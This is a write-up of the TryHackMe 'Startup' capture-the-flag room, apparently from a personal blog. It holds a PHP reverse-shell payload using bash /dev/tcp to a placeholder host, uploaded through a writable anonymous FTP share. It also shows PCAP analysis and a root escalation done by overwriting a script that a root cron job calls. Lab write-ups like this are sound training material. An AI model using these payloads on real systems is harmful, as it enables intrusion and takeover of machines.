TryHackMe Startup Writeup
Room Info
- Platform: TryHackMe
- Room Name: Startup
- Difficulty: Easy
- Goal: Find the spicy soup recipe and escalate privileges
- Link: https://tryhackme.com/room/startup
🔍 Step 1: Service Discovery
nmap -Pn 10.201.75.1 -sV -sC -p 21,22,80
Key Findings
- 21/tcp - FTP (vsftpd 3.0.3)
- ✅ Anonymous login allowed
- ✅ The
/ftpdirectory turns out to be writable (drwxrwxrwx) — this is the huge, huge takeaway!!!
- 22/tcp - SSH (OpenSSH 7.2p2)
- 80/tcp - HTTP (Apache 2.4.18)
💉 Step 2: Uploading a Webshell via FTP
Testing the FTP upload
# Test the upload
echo "test" > test.txt
ftp 10.201.75.1
# Username: anonymous
# Password: (Enter)
cd ftp
put test.txt
Using gobuster I found that the FTP directory is reachable over HTTP, at the path /files/ftp
curl http://10.201.75.1/files/ftp/test.txt
# Success! The uploaded file executes
Uploading a reverse shell
cat > revshell.php << 'EOF'
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
EOF
ftp -n 10.201.75.1 << EOF
user anonymous
pass
cd ftp
put revshell.php
bye
EOF
Establishing the Connection
# Local listener
nc -lvnp 4444
# Trigger the reverse shell
curl http://10.201.75.1/files/ftp/revshell.php
🔍 Step 3: System Enumeration
# After landing a www-data shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls -la /
# Found recipe.txt
ls -la /incidents
# suspicious.pcapng
📦 Step 4: Analyzing the PCAP File
Downloading the PCAP — don't forget, we can just drop any file we want to grab into that path, /files/ftp, then browse to it to download. Once it's downloaded, I analyzed it locally with tshark.
# Copy it into the web directory
cp /incidents/suspicious.pcapng /var/www/html/files/ftp/
# Download locally
curl -O http://10.201.75.1/files/ftp/suspicious.pcapngFinding the reverse shell traffic
# Search for port 4444 (a common reverse shell port)
tshark -r suspicious.pcapng -Y "tcp.port == 4444" -T fields -e tcp.stream | sort -u
# Output: 5, 7
# Look at Stream 7 (contains the full reverse shell session)
tshark -r suspicious.pcapng -q -z follow,tcp,ascii,7Key excerpts from the PCAP
From Stream 7 you can see the previous attacker's full sequence of actions:
$ ls -la
# List the root directory, found recipe.txt
$ whoami
www-data
$ python -c "import pty;pty.spawn('/bin/bash')"
# Upgrade the shell
$ cd home
$ cd lennie
bash: cd: lennie: Permission denied
$ sudo -l
[sudo] password for www-data: Redacted
Sorry, try again.
[sudo] password for www-data: Redacted
sudo: 3 incorrect password attempts
$ cat /etc/passwd
# List users, found the lennie userKey finding: the password the attacker tried was Redacted
🍜 Step 5: Answer to the First Question
After analyzing the capture, there are two takeaways:
- One is the password mentioned above
- The other is recipe.txt in the root directory — so at this point, straight from that reverse shell, we can just
cd /
www-data@startup:/$ ls
ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was Redacted.Contents:
Someone asked what our main ingredient to our spice soup is today.
I figured I can't keep it a secret forever and told him it was Redacted.
Answer: Redacted
🔐 Step 6: SSH Login and Grabbing the User Flag
Now we pivot the attack over to SSH, since the web reverse shell has pretty much run its course — time to grab the user flag.
ssh [email protected]
# Password: Redacted
cat ~/user.txt
# THM{Redacted}
⬆️ Step 7: Privilege Escalation Analysis
Enumerating the Scripts Directory
ls -la ~/scripts
cat ~/scripts/planner.sh
Contents of planner.sh:
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
Checking Permissions
ls -la /etc/print.sh
# -rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
The vulnerability:
planner.shis owned and executed by root- But it calls
/etc/print.sh, which is writable by lennie
🎯 Step 8: Escalating to Root and Grabbing the Root Flag
Modifying /etc/print.sh
cat > /etc/print.sh << 'EOF'
#!/bin/bash
cat /root/root.txt > /tmp/flag.txt
chmod 644 /tmp/flag.txt
EOF
Wait for it to run automatically, then read the flag
# The system runs planner.sh automatically as root
cat /tmp/flag.txt
# THM{Redacted}
📝 Technical Takeaways
Attack Chain
Anonymous FTP upload → Reverse shell → PCAP analysis → SSH login → Script-based privesc
Key Vulnerabilities
- FTP writable + HTTP executable: arbitrary code can be uploaded and run
- PCAP contains sensitive information: leaks a password and the system structure
- Root script calls a user-writable file: a classic privesc path
Lessons Learned
On Step 1 and Step 2:
Right at the start I'd found that FTP existed and that the FTP directory was reachable over the web, but I got stuck here for a long time — I spent ages checking whether important.jpg under /files had any steganography in it. After digging through it and finding no way in, I went back to the nmap version/service scan and suddenly realized the FTP directory was writable, so I quickly pivoted to breaking in through there.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]On Step 4:
This part gets into packet analysis, which is also part of the Forensics field that's really hot in CTFs right now — well worth getting some hands-on experience with!
Member discussion